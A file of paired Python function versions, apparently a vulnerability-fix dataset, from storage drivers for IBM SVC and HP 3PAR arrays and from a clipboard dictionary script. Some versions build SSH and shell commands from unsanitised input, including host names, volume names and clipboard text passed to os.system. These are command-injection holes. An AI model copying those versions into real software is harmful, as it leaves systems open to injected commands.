                                    ssh_cmd, out, err)
            header = host_lines.pop(0).split('!')
            self._assert_ssh_return('name' in header,
                                    '_get_host_from_connector',
                                    ssh_cmd, out, err)
            name_index = header.index('name')
            hosts = map(lambda x: x.split('!')[name_index], host_lines)
            hostname = self._find_host_exhaustive(connector, hosts)

        LOG.debug(_('leave: _get_host_from_connector: host %s') % hostname)

        return hostname
// _get_host_from_connector [python]
    def _get_host_from_connector(self, connector):
        """List the hosts defined in the storage.

        Return the host name with the given connection info, or None if there
        is no host fitting that information.

        """

        prefix = self._connector_to_hostname_prefix(connector)
        LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)

        # Get list of host in the storage
        ssh_cmd = 'svcinfo lshost -delim !'
        out, err = self._run_ssh(ssh_cmd)

        if not len(out.strip()):
            return None

        # If we have FC information, we have a faster lookup option
        hostname = None
        if 'wwpns' in connector:
            hostname = self._find_host_from_wwpn(connector)

        # If we don't have a hostname yet, try the long way
        if not hostname:
            host_lines = out.strip().split('\n')
            self._assert_ssh_return(len(host_lines),
                                    '_get_host_from_connector',
                                    ssh_cmd, out, err)
            header = host_lines.pop(0).split('!')
            self._assert_ssh_return('name' in header,
                                    '_get_host_from_connector',
                                    ssh_cmd, out, err)
            name_index = header.index('name')
            hosts = map(lambda x: x.split('!')[name_index], host_lines)
            hostname = self._find_host_exhaustive(connector, hosts)

        LOG.debug(_('leave: _get_host_from_connector: host %s') % hostname)

        return hostname
// _get_hostvdisk_mappings [python]
    def _get_hostvdisk_mappings(self, host_name):
        """Return the defined storage mappings for a host."""

        return_data = {}
        ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]
        out, err = self._run_ssh(ssh_cmd)

        mappings = out.strip().split('\n')
        if len(mappings):
            header = mappings.pop(0)
            for mapping_line in mappings:
                mapping_data = self._get_hdr_dic(header, mapping_line, '!')
                return_data[mapping_data['vdisk_name']] = mapping_data

        return return_data
// _get_hostvdisk_mappings [python]
    def _get_hostvdisk_mappings(self, host_name):
        """Return the defined storage mappings for a host."""

        return_data = {}
        ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name
        out, err = self._run_ssh(ssh_cmd)

        mappings = out.strip().split('\n')
        if len(mappings):
            header = mappings.pop(0)
            for mapping_line in mappings:
                mapping_data = self._get_hdr_dic(header, mapping_line, '!')
                return_data[mapping_data['vdisk_name']] = mapping_data

        return return_data
// main [python]
def main():
    global word
    print("Starting script... press 'ctrl+c' in terminal to turn off")
    while True:
        if pyperclip.paste() != word and len(pyperclip.paste().split())<5:
            word = pyperclip.paste()
            wordChc=False
            req = requests.get("https://api-portal.dictionary.com/dcom/pageData/%s" % word)
            wordChcURB = False
            reqURB=requests.get('https://api.urbandictionary.com/v0/define?term=%s' % word)
            try:    
                data = json.loads(req.text)['data']['content'][0]['entries'][0]['posBlocks'][0]['definitions']
            except TypeError:
                os.system('notify-send "Cant find that word on dictionary.com!"')
                wordChc = True
            except KeyError:
                os.system('notify-send "Cant find that word on dictionary.com!"')
                wordChc = True

            if not wordChc:
                definitions = []
                try:
                    for definition in data[:3]:
                        definitions.append(cleanhtml(definition['definition']))
                        definitions.append("------------")
                    os.system('notify-send "definitions from dictionary.com:\n{}"'.format('\n'.join(definitions)))
                except KeyError:
                    os.system('notify-send "no results in dictionary.com"')
            try:    
                dataURB = json.loads(reqURB.text)['list']
            except TypeError:
                os.system('notify-send "Cant find that word on urbandictionary.com!"' % word)
                wordChcURB = True
            except KeyError:
                os.system('notify-send "Cant find that word on urbandictionary.com!"' % word)
                wordChcURB = True

            if not wordChcURB:    
                definitionsURB = []
                for definition in dataURB[:3]:
                    definitionsURB.append(definition['definition'])
                    definitionsURB.append("------------")
                os.system('notify-send "definitions from urbandictionary.com:\n{}"'.format('\n'.join(definitionsURB)))
    os.system('notify-send "Thank you for using define.py made by kelj0"')
// main [python]
def main():
    global word
    print("Starting script... press 'ctrl+c' in terminal to turn off")
    while True:
        if pyperclip.paste() != word and len(pyperclip.paste().split())<5:
            word = pyperclip.paste()
            wordChc=False
            req = requests.get("https://api-portal.dictionary.com/dcom/pageData/%s" % word)
            wordChcURB = False
            reqURB=requests.get('https://api.urbandictionary.com/v0/define?term=%s' % word)
            try:    
                data = json.loads(req.text)['data']['content'][0]['entries'][0]['posBlocks'][0]['definitions']
            except TypeError:
                os.system('notify-send "Cant find |%s| on dictionary.com!"' % word)
                wordChc = True
            except KeyError:
                os.system('notify-send "Cant find |%s| on dictionary.com!"' % word)
                wordChc = True

            if not wordChc:
                definitions = []
                try:
                    for definition in data[:3]:
                        definitions.append(cleanhtml(definition['definition']))
                        definitions.append("------------")
                    os.system('notify-send "definitions from dictionary.com:[{}\n{}"'\
                    .format(word+"]\n------------",'\n'.join(definitions)))
                except KeyError:
                    os.system('notify-send "no results in dictionary.com"')
            try:    
                dataURB = json.loads(reqURB.text)['list']
            except TypeError:
                os.system('notify-send "Cant find |%s| on urbandictionary.com!"' % word)
                wordChcURB = True
            except KeyError:
                os.system('notify-send "Cant find |%s| on urbandictionary.com!"' % word)
                wordChcURB = True

            if not wordChcURB:    
                definitionsURB = []
                for definition in dataURB[:3]:
                    definitionsURB.append(definition['definition'])
                    definitionsURB.append("------------")
                os.system('notify-send "definitions from urbandictionary.com:[{}\n{}"'\
                .format(word+"]\n------------",'\n'.join(definitionsURB)))
    os.system('notify-send "Thank you for using define.py made by kelj0"')
// _get_vvset_from_3par [python]
    def _get_vvset_from_3par(self, volume_name):
        """Get Virtual Volume Set from 3PAR.

        The only way to do this currently is to try and delete the volume
        to get the error message.

        NOTE(walter-boring): don't call this unless you know the volume is
        already in a vvset!
        """
        cmd = ['removevv', '-f', volume_name]
        LOG.debug("Issuing remove command to find vvset name %s" % cmd)
        out = self._cli_run(cmd)
        vvset_name = None
        if out and len(out) > 1:
            if out[1].startswith("Attempt to delete "):
                words = out[1].split(" ")
                vvset_name = words[len(words) - 1]

        return vvset_name
// _get_vvset_from_3par [python]
    def _get_vvset_from_3par(self, volume_name):
        """Get Virtual Volume Set from 3PAR.

        The only way to do this currently is to try and delete the volume
        to get the error message.

        NOTE(walter-boring): don't call this unless you know the volume is
        already in a vvset!
        """
        cmd = "removevv -f %s" % volume_name
        LOG.debug("Issuing remove command to find vvset name %s" % cmd)
        out = self._cli_run(cmd, None)
        vvset_name = None
        if out and len(out) > 1:
            if out[1].startswith("Attempt to delete "):
                words = out[1].split(" ")
                vvset_name = words[len(words) - 1]

        return vvset_name
// _get_flashcopy_mapping_attributes [python]
    def _get_flashcopy_mapping_attributes(self, fc_map_id):
        LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')
                  % fc_map_id)

        fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',
                         'id=%s' % fc_map_id, '-delim', '!']
        out, err = self._run_ssh(fc_ls_map_cmd)
        if not len(out.strip()):
            return None

        # Get list of FlashCopy mappings
        # We expect zero or one line if mapping does not exist,
        # two lines if it does exist, otherwise error
        lines = out.strip().split('\n')
        self._assert_ssh_return(len(lines) <= 2,
                                '_get_flashcopy_mapping_attributes',
                                fc_ls_map_cmd, out, err)

        if len(lines) == 2:
            attributes = self._get_hdr_dic(lines[0], lines[1], '!')
        else:  # 0 or 1 lines
            attributes = None

        LOG.debug(_('leave: _get_flashcopy_mapping_attributes: mapping '
                    '%(fc_map_id)s, attributes %(attributes)s') %
                  {'fc_map_id': fc_map_id, 'attributes': attributes})

        return attributes